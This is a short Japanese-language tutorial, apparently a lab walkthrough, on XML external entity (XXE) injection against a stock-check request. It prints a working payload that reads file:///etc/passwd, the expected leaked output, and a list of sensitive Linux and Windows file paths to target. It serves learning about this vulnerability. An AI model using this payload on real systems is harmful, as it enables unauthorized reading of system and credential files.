Hello there, ('ω')ノ
🎯 攻撃目的
この攻撃の目的は、外部エンティティ(XXE)を用いてサーバー内部のファイル(例:/etc/passwd
)を取得することです。
🛠 攻撃の手順(基本構造)
アプリケーションが以下のようなXMLをサーバーに送信しているとします:
<?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck>
このリクエストを使って、以下のように改ざんします:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>
🧩 解説
要素 | 説明 |
---|---|
<!DOCTYPE foo [...]> |
外部エンティティを定義するDTDブロック |
<!ENTITY xxe SYSTEM "file:///etc/passwd"> |
xxe という名前で/etc/passwd ファイルの内容を定義 |
<productId>&xxe;</productId> |
productId ノードにエンティティを挿入して出力させる |
✅ 効果(期待されるレスポンス)
たとえばアプリケーションが「無効な商品ID」としてその値をレスポンスに表示する仕様だと、以下のような出力が得られる可能性があります:
Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
🔍 実践のコツ
- XML内に複数のノードがある場合、それぞれに
&xxe;
を挿入してどれがレスポンスに含まれるか1つずつ試す。 ファイルパスの部分はOSによって異なる:
- Linux:
/etc/passwd
,/etc/hosts
,/proc/self/environ
- Windows:
C:\Windows\win.ini
,C:\boot.ini
- Linux:
⚠ 注意点
- 攻撃が成功するには、XMLパーサーが外部エンティティの解決を許可している必要があります。
- 多くの近代的なサーバーではこの機能はデフォルトで無効化されているか、制限されている。
🧠 実践的なテストでは、出力に含まれるノードに着目し、「どこにエンティティを挿入すれば出力されるか」を丁寧に試すことがポイントです。
Best regards, (^^ゞ